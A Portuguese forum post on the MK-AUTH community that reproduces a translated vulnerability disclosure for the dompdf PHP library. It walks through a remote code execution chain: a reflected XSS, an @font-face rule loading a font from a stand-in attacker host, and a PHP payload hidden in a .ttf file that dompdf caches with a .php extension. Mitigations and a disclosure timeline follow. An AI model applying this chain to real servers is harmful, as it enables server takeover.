Vulnerabilidade exploit DOMPDF

Bom dia Pedro

 

quando puder confere a matéria e verifica qual versão do domPDF no mk-auth porque até hoje não foi corrido a falha

https://dciber.org/de-xss-para-rce-dompdf-0day/ 

 

 

  • A popular biblioteca PHP dompdf (usada para renderizar PDFs a partir de HTML) sofre de uma vulnerabilidade que permite a Execução Remota de Código em determinadas configurações
  • Ao injetar CSS nos dados processados ​​pelo dompdf, ele pode ser induzido a armazenar uma fonte maliciosa com uma .phpextensão de arquivo em seu cache de fonte, que pode ser executada posteriormente acessando-a da web
  • Relatamos a vulnerabilidade ao dompdf em 5 de outubro de 2021. Como ainda não há patch disponível, agora estamos publicando detalhes sobre a vulnerabilidade para informar o público sobre o risco e possíveis soluções alternativas

 

 

622a16a6fe8ba07ec2a8b52c_dompdf_rce_cover_cropped-p-1080-1-300x127.png

 

Introdução

Durante um relacionamento com um cliente no ano passado, nos deparamos com um site que parecia bastante impenetrável à primeira vista, devido à sua natureza amplamente estática:

 

622a10bc39563c8baaad827e_example_page-270x300.png

 

Ao investigar o site, conseguimos encontrar um problema de Cross-Site Scripting (XSS):

 

622a10c5a3155c5f7480f47c_example_page_xss-300x125.pnghttps://dciber.org/wp-content/uploads/2022/03/622a10c5a3155c5f7480f47c_example_page_xss-150x63.png 150w, https://dciber.org/wp-content/uploads/2022/03/622a10c5a3155c5f7480f47c_example_page_xss.png 578w" width="470" height="196" />

Visto que o site não armazenava nenhuma informação sensível nos navegadores dos clientes (como cookies de autenticação), isso por si só foi um achado de baixa gravidade.

Em algum momento, no entanto, um recurso interessante chamou nossa atenção. O site oferecia a opção de exportar algumas de suas páginas em formato PDF:

 

 

622a10ceb18bd4dbc18cb40e_example_page_export_pdf-258x300.png

 

Rapidamente, o XSS refletido tornou-se muito mais interessante, porque nos permite controlar a entrada para o gerador de PDF do lado do servidor:

622a10e0f56f0b0d3950df9f_example_page_exported_as_pdf-300x297.pnghttps://dciber.org/wp-content/uploads/2022/03/622a10e0f56f0b0d3950df9f_example_page_exported_as_pdf-150x149.png 150w, https://dciber.org/wp-content/uploads/2022/03/622a10e0f56f0b0d3950df9f_example_page_exported_as_pdf.png 479w" width="511" height="506" />Site com HTML injetado no título, renderizado como PDF no servidor

Embora não fosse possível injetar JavaScript que o renderizador de PDF interpretaria, conseguimos injetar HTML arbitrário (como mostrado acima com o título ‘Em PDF’ em itálico).

A execução do pdfinfo no PDF exportado nos disse qual biblioteca era responsável pela renderização do PDF no servidor:

622a10ee83f033c04120922f_pdfinfo-300x37.pnghttps://dciber.org/wp-content/uploads/2022/03/622a10ee83f033c04120922f_pdfinfo-150x18.png 150w, https://dciber.org/wp-content/uploads/2022/03/622a10ee83f033c04120922f_pdfinfo.png 320w" width="576" height="71" />Saída de pdfinfo mostrando o renderizador de PDF usado no back-end

Assim, sabíamos qual conversor de HTML para PDF foi usado no back-end (dompdf) e em qual versão.

(Observe que a versão realmente em uso no servidor do cliente era a v0.8.5, mas como o caminho de exploração que mostraremos aqui ainda funciona da mesma forma na versão mais recente v1.2.0, usaremos esta versão para os propósitos do artigo . No momento da divulgação, não há vulnerabilidades conhecidas para a versão 0.8.5 ou 1.2.0.)

Procurando por uma vulnerabilidade

Neste ponto, mudamos nossa atenção para o código-fonte do dompdf, para ver se poderíamos encontrar uma vulnerabilidade que poderia nos dar acesso adicional ao servidor.

A primeira coisa que chamou nossa atenção foi a opção de executar PHP embutido durante a renderização do PDF, que, se habilitada, facilitaria muito nosso trabalho:

/*** Enable embedded PHP** If this setting is set to true then DOMPDF will automatically evaluate* embedded PHP contained within  ...  tags.** ==== IMPORTANT ====* Enabling this for documents you do not trust (e.g. arbitrary remote html* pages) is a security risk. Embedded scripts are run with the same level of* system access available to dompdf. Set this option to false (recommended)* if you wish to process untrusted documents.** This setting may increase the risk of system exploit. Do not change* this settings without understanding the consequences. Additional* documentation is available on the dompdf wiki at:*** @var bool*/private $isPhpEnabled = false;

No entanto, esse recurso acabou desabilitado. (Observação: se você estiver executando dompdf em seu servidor, provavelmente desejará garantir que esse recurso esteja desativado. O guia oficial para ‘Protegendo dompdf’ concorda.)

A próxima configuração interessante dizia respeito ao carregamento de recursos remotos:

/*** Enable remote file access** If this setting is set to true, DOMPDF will access remote sites for* images and CSS files as required.** ==== IMPORTANT ====* This can be a security risk, in particular in combination with isPhpEnabled and* allowing remote html code to be passed to $dompdf = new DOMPDF(); $dompdf->load_html(...);* This allows anonymous users to download legally doubtful internet content which on* tracing back appears to being downloaded by your server, or allows malicious php code* in remote html pages to be executed by your server with your account privileges.** This setting may increase the risk of system exploit. Do not change* this settings without understanding the consequences. Additional* documentation is available on the dompdf wiki at:*** @var bool*/private $isRemoteEnabled = false;

Para verificar o estado dessa configuração, usamos o XSS para incluir uma folha de estilo externa (encolher a imagem e definir seu plano de fundo para cinza claro para fins de teste):

622a10ff456ede2f544ad5e7_pdf_with_injected_html-300x165.pnghttps://dciber.org/wp-content/uploads/2022/03/622a10ff456ede2f544ad5e7_pdf_with_injected_html-150x82.png 150w, https://dciber.org/wp-content/uploads/2022/03/622a10ff456ede2f544ad5e7_pdf_with_injected_html-696x382.png 696w, https://dciber.org/wp-content/uploads/2022/03/622a10ff456ede2f544ad5e7_pdf_with_injected_html.png 700w" width="578" height="318" />

Assim, pudemos confirmar que a configuração estava habilitada e prosseguir para descobrir o que isso nos permitia fazer.

Primeira possibilidade: o índice de cache da fonte

Quando $isRemoteEnabledestá definido (ou em versões ≤ 0.8.5, independentemente dessa configuração), o dompdf permite carregar fontes personalizadas por meio de regras CSS de face de fonte, como as seguintes:

@font-face {   font-family:'TestFont';   src:url('http://attacker.local/test_font.ttf');   font-weight:'normal';   font-style:'normal'; }

Quando uma fonte externa é usada, o dompdf a armazena em cache localmente no /lib/fontssubdiretório e adiciona uma entrada correspondente dompdf_font_family_cache.phpusando saveFontFamilies(). Esta função codifica as fontes conhecidas por dompdf como um array PHP, junto com as informações necessárias para procurá-las posteriormente.

De um arquivo de log que encontramos em outro lugar no sistema, já suspeitamos que o dompdf estava armazenado em um diretório acessível a partir da raiz da web e, de fato, a falta de uma mensagem de erro ao tentar acessar o índice do cache de fontes parecia indicar o mesmo:

622a121b1d2effe35336a201_font_cache_blank-300x66.pnghttps://dciber.org/wp-content/uploads/2022/03/622a121b1d2effe35336a201_font_cache_blank-150x33.png 150w, https://dciber.org/wp-content/uploads/2022/03/622a121b1d2effe35336a201_font_cache_blank.png 639w" width="700" height="154" />Tentando acessar o índice de cache de fonte diretamente: página em branco em vez de uma mensagem de erro

Como isso significa que um arquivo PHP que podemos acessar externamente é gerado com base na entrada controlada por nós, parecia uma avenida válida para explorar possíveis vulnerabilidades.

No entanto, o único parâmetro sobre o qual tivemos influência direta (o $family) escapou suficientemente usando addslashes()para tornar a exploração impossível. Portanto, tivemos que continuar procurando mais longe – embora não muito longe.

Próxima etapa: O cache de fontes

Se não podemos usar o índice de cache de fontes… podemos usar o cache de fontes diretamente?

Vamos ver como o dompdf registra novas fontes (mostradas aqui de forma condensada para maior clareza):

/*** @param array $style* @param string $remoteFile* @param resource $context* @return bool*/public function registerFont($style, $remoteFile, $context = null){   $fontname = mb_strtolower($style["family"]);   $styleString = $this->getType("{$style['weight']} {$style['style']}");   $fontDir = $this->options->getFontDir();   $remoteHash = md5($remoteFile);   $prefix = $fontname . "_" . $styleString;   $prefix = preg_replace("[\\W]", "_", $prefix);   $prefix = preg_replace("/[^-_\\w]+/", "", $prefix);   $localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;   $localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));   // Download the remote file   list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);   $localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");   file_put_contents($localTempFile, $remoteFileContent);   $font = Font::load($localTempFile);   if (!$font) {       unlink($localTempFile);       return false;   }   $font->parse();   $font->close();   unlink($localTempFile);   // Save the changes   file_put_contents($localFile, $remoteFileContent);   $this->saveFontFamilies();   return true;}

Há algumas coisas que este snippet de código nos diz:

  1. O nome do arquivo de uma fonte recém-armazenada em cache é determinístico e baseado nas informações que temos, ou seja, o nome da fonte, o estilo escolhido e um hash de sua URL remota (linha 9-19). A fonte de teste acima com URL http://attacker.local/test_font.ttfe peso/estilo “normal”, por exemplo, seria armazenada comotestfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf
  2. Embora seja tomado cuidado para evitar a possibilidade de uma vulnerabilidade de passagem de caminho (removendo caracteres potencialmente perigosos nas linhas 16 e 17), a extensão do arquivo original da fonte é mantida
  3. A fonte precisa ser válida no sentido de que precisa sobreviver ao carregamento e análise por php-font-lib (linhas 28 e 35)

Ao inspecionar o código-fonte do php-font-lib, rapidamente ficou claro que essa biblioteca apenas verifica a consistência interna de uma fonte, com base em seus cabeçalhos de arquivo, e ignora completamente sua extensão de arquivo. Então, o que acontece se pegarmos uma .ttffonte válida, adicionarmos a <?php phpinfo(); ?>em sua seção Copyright, armazená-la como ‘exploit_font .php ‘ e incluí-la através de um arquivo CSS injetado? Nós vamos…

622a111934d9935a697a249f_get_font_rce-300x80.pnghttps://dciber.org/wp-content/uploads/2022/03/622a111934d9935a697a249f_get_font_rce-768x205.png 768w, https://dciber.org/wp-content/uploads/2022/03/622a111934d9935a697a249f_get_font_rce-150x40.png 150w, https://dciber.org/wp-content/uploads/2022/03/622a111934d9935a697a249f_get_font_rce-696x185.png 696w, https://dciber.org/wp-content/uploads/2022/03/622a111934d9935a697a249f_get_font_rce.png 833w" width="713" height="190" />phpinfo() é executado no servidor da vítima ao acessar o arquivo de fonte malicioso (Observação: as informações editadas foram substituídas por ruído aleatório antes de desfocar)

Publicamos o aplicativo de demonstração e a exploração em github.com/positive-security/dompdf-rce.

Análise

As vulnerabilidades de segurança geralmente ocorrem devido a decisões (de design) feitas com base em suposições incorretas sobre componentes subjacentes ou interconectados. Para o cenário concreto que encontramos, pudemos identificar três decisões/suposições que contribuíram significativamente para a vulnerabilidade RCE no servidor do cliente:

  1. “Não há problema em confiar no php-font-lib para verificar as fontes, pois ele só aceitará fontes válidas (e com a extensão de arquivo apropriada)”: Essa suposição, feita pelos desenvolvedores do dompdf, acabou sendo incorreta porque O conceito do php-font-lib de uma fonte válida exigia apenas consistência entre os cabeçalhos da fonte e sua estrutura interna, independentemente de sua extensão de arquivo
  2. “Não há problema em ter a configuração do dompdf $isRemoteEnableddefinida como verdadeira, já que o site em si é essencialmente estático e, portanto, controlamos a entrada para o renderizador de PDF”: Essa suposição, feita por nosso cliente, foi quebrada pela vulnerabilidade XSS refletida
  3. “Não há problema em ter dompdf em um subdiretório acessível externamente”: Esta ação, embora provavelmente não realizada conscientemente por nosso cliente, mas sim por conveniência, infelizmente acabou sendo equivocada

Embora todos os três fatores fossem necessários para a exploração completa, eles diferem em relação à ‘evitabilidade’.

A primeira decisão, que levou à vulnerabilidade da fonte, foi um erro que (embora infeliz) pode ocorrer prontamente em qualquer projeto de software complexo e é essencialmente impossível de evitar completamente. A segunda decisão aumentou a superfície de ataque para nosso cliente, mas foi necessário implementar a funcionalidade pretendida.

No entanto, o terceiro fator pode ser visto de forma mais crítica, uma vez que contradiz diretamente o ponto mais alto descrito no guia para ‘Proteger dompdf’, que existe desta forma desde 2016. De uma perspectiva post-mortem, portanto, faria sentido examinar o fluxo de trabalho que resultou nessa etapa, pois incluir uma biblioteca externa sem avaliar adequadamente seu impacto na segurança teria sido o fator mais facilmente evitável.

Impacto

Existem vários casos de uso que exigem a geração de PDFs do lado do servidor contendo entradas fornecidas pelo usuário, como compras de ingressos, recibos/faturas ou outros e-mails automatizados de provedores de serviços ou até mesmo certificados de teste Corona. É possível que alguns desses serviços também sejam afetados, se as seguintes pré-condições forem atendidas:

  • dompdf é instalado em um diretório acessível pela web. Isso pode acontecer facilmente se o Composer for usado para instalar a biblioteca em algum lugar dentro da docroot sem proibir explicitamente o acesso à vendorpasta
  • Os PDFs estão sendo gerados usando a entrada do usuário insuficientemente higienizada. Isso pode ser causado por, por exemplo, um XSS, como demonstrado aqui, ou passando diretamente os dados do usuário para o back-end (como o nome ou endereço do usuário)
  • dompdf versão ≤ 0.8.5 está sendo usado ou $isRemoteEnabledestá definido como verdadeiro. Observe que as versões ≤ 0.8.5 não precisam $isRemoteEnabledser configuradas para serem vulneráveis, pois carregam certos elementos remotos (como fontes) mesmo com a configuração desativada

Embora não tenhamos números de instalação, as métricas do GitHub sugerem que o dompdf é a opção mais popular para gerar PDFs a partir do PHP:

BibliotecaEstrelasGarfosRepositórios dependentes
dompdf8,6 mil1,6 mil59,2 mil
mal-humorado4k421
mpdf3,5 mil88616,6 mil
tcpdf3,2 mil1,3 mil14,5 mil
tc-lib-pdf1,2 mil18085

Mitigação

Embora ainda não haja um patch para dompdf disponível, há etapas que você pode seguir para minimizar o risco de ser exposto a essa vulnerabilidade.

  1. Certifique-se de que o dompdf não esteja instalado em um diretório acessível pela web. Este é o ponto mais importante, pois impediria completamente a exploração
  2. Verifique a sanitização de entrada que você executa antes de passar os dados para o dompdf, para evitar que invasores injetem HTML/CSS. Esta é uma boa ideia em qualquer caso, pois pode haver outras vulnerabilidades que podem ser acionadas de maneiras semelhantes
  3. Atualize o dompdf para uma versão recente e desative $isRemoteEnabled, se possível para o seu caso de uso. Embora a versão mais recente disponível no momento da publicação deste artigo (1.2.0) ainda seja suscetível à vulnerabilidade, ela consulta a $isRemoteEnabledconfiguração antes de tentar baixar fontes de locais remotos (diferentemente das versões ≤ 0.8.5, que simplesmente ignoram a configuração nesse contexto)
  4. E, finalmente, fique de olho em um patch dompdf que corrija essa vulnerabilidade e aplique-o assim que estiver disponível. Você pode, por exemplo, manter-se atualizado assinando o feed de lançamento do dompdf com um leitor Atom de sua escolha

Linha do tempo

2021-10-05Vulnerabilidade relatada para security@dompdf.org (de SECURITY.md )
2021-10-08Acompanhado no relatório
2021-10-12Criou um problema no GitHub para chamar a atenção para o relatório
2021-10-13Relatório reconhecido, problema marcado para “v2.0.0”
2021-11-16Versão 1.1.0 lançada, sem correção
2021-11-24Versão 1.1.1 lançado, sem correção
2022-01-0390 dias desde o relatório inicial
2022-02-07Versão 1.2.0 lançada, sem correção
2022-02-07Pediu aos desenvolvedores para atualizar o horizonte e os notificou sobre a divulgação futura E
2022-02-16-mail
2022-03-10de acompanhamento E- mail de acompanhamento
2022-03-15Recebeu resposta do dompdf que eles “não podem fornecer um prazo para disse [v2.0] atualização neste momento”
2022-03-16Divulgação pública

Conclusão

Ao investigar um site de cliente, descobrimos uma vulnerabilidade na biblioteca PHP de renderização de PDF dompdf que nos permitiu fazer upload de arquivos de fonte com uma .phpextensão para o servidor da web. Para acioná-lo, usamos uma vulnerabilidade XSS que nos permitiu injetar HTML em uma página da Web antes de ser renderizada como PDF. Como o dompdf foi instalado em um diretório acessível pela web (e sabíamos sua localização graças a um arquivo de log vazado), poderíamos navegar até o .phpscript carregado, fornecendo a execução do código no servidor.

As versões ≤ 1.2.0 do dompdf que estão localizadas em um diretório acessível pela web e $isRemoteEnabledativadas devem ser consideradas vulneráveis, assim como as versões ≤ 0.8.5 mesmo com $isRemoteEnabledo valor false.

Os arquivos de exploração e o código-fonte do aplicativo de demonstração estão disponíveis no GitHub.

 

Para adicionar comentários, você deve ser membro de MK-AUTH.

Join MK-AUTH

Enviar-me um email quando as pessoas responderem –

Respostas

  • falha grave, só que pelo que li é preciso que o diretorio do dompdf esteja publico para explorar e apartir da versão 19.01 eu alterei isso...

This reply was deleted.